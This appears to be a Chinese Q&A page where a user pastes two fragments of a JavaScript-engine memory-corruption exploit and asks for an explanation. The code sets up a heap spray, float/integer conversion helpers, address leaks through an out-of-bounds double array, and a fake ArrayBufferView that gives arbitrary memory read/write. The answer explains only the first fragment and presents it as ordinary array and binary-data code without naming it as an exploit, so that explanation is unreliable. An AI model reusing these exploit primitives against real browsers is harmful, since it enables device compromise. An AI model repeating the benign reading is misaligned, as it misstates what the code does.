var structs = []; function zeroFill(number, width) { width -= number.toString().length; if (width > 0) { return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; } return number + ""; // always return a string } try { // May need configuration depending on system? Left it as a variable just in case var sprayMax = 0x400; // Internal objects for u2d and d2u var conversionBuf = new ArrayBuffer(0x100); var u32 = new Uint32Array(conversionBuf); var f64 = new Float64Array(conversionBuf); // Helper for managing 64-bit values function int64(low, hi) { this.low = (low >>> 0); this.hi = (hi >>> 0); this.add32inplace = function (val) { var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); if (new_lo < this.low) { new_hi++; } this.hi = new_hi; this.low = new_lo; }请解释以上代码?

时间: 2024-04-18 21:33:14 浏览: 8
以上代码是一个JavaScript脚本,包含了一些函数和变量的定义。让我逐步解释一下代码的作用: 1. `var structs = [];`:定义了一个空数组,用于存储结构体。 2. `function zeroFill(number, width)`:定义了一个名为`zeroFill`的函数,用于将数字填充到指定的宽度。该函数接受两个参数:`number`表示要填充的数字,`width`表示要填充到的宽度。函数通过比较数字的位数与指定宽度的差值来确定需要填充的零的数量,然后使用`Array.join('0')`方法将零填充到数字前面,并返回填充后的字符串。 3. `try`:标记一个代码块,用于捕获可能抛出异常的代码。 4. `var sprayMax = 0x400;`:定义了一个变量`sprayMax`,其值为十六进制数0x400。 5. `var conversionBuf = new ArrayBuffer(0x100);`:创建了一个长度为0x100字节的ArrayBuffer对象,用于存储二进制数据。 6. `var u32 = new Uint32Array(conversionBuf);`:创建了一个Uint32Array类型的视图对象,将其绑定到之前创建的ArrayBuffer对象上。这个视图对象可以让我们以32位无符号整数的形式读取和写入内存中的数据。 7. `var f64 = new Float64Array(conversionBuf);`:创建了一个Float64Array类型的视图对象,将其绑定到之前创建的ArrayBuffer对象上。这个视图对象可以让我们以64位浮点数的形式读取和写入内存中的数据。 8. `function int64(low, hi) { ... }`:定义了一个名为`int64`的构造函数,用于表示64位整数。该构造函数接受两个参数,`low`表示低32位整数部分,`hi`表示高32位整数部分。构造函数还定义了一个方法`add32inplace`用于将32位整数加到当前的64位整数值上。 以上就是代码的基本解释,它主要涉及到了数组、函数、二进制数据的处理以及64位整数的表示和操作。

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var slave = new Uint32Array(0x1000); slave[0] = 0x13371337; // First, leak the address of an array we'll use later for leaking arbitrary JSValues //debug("[*] Leaking address of array for leak primitive..."); var leakTgt = {a: 0, b: 0, c: 0, d: 0}; leakTgt.a = slave; primitiveSpray[leakAndFakePrimIdx][1] = leakTgt; var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var leakTargetAddrInt64 = d2u(leakTargetAddr); // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive..."); // Spray arrays for structure id for (var i = 0; i < 0x100; i++) { var a = new Uint32Array(1); a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337; structs.push(a); } var rwTgt = {a: 0, b: 0, c: 0, d: 0}; rwTgt.a = u2d(0x00000200, 0x1602300); rwTgt.b = 0; rwTgt.c = slave; rwTgt.d = 0x1337; primitiveSpray[leakAndFakePrimIdx][1] = rwTgt; var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var rwTargetAddrInt64 = d2u(rwTargetAddr); //debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16)); // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10); // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi); var master = primitiveSpray[leakAndFakePrimIdx][1]; var addrOfSlave = new int64(master[4], master[5]); //debug("[*] Setting up primitive functions...");请解释以上代码?

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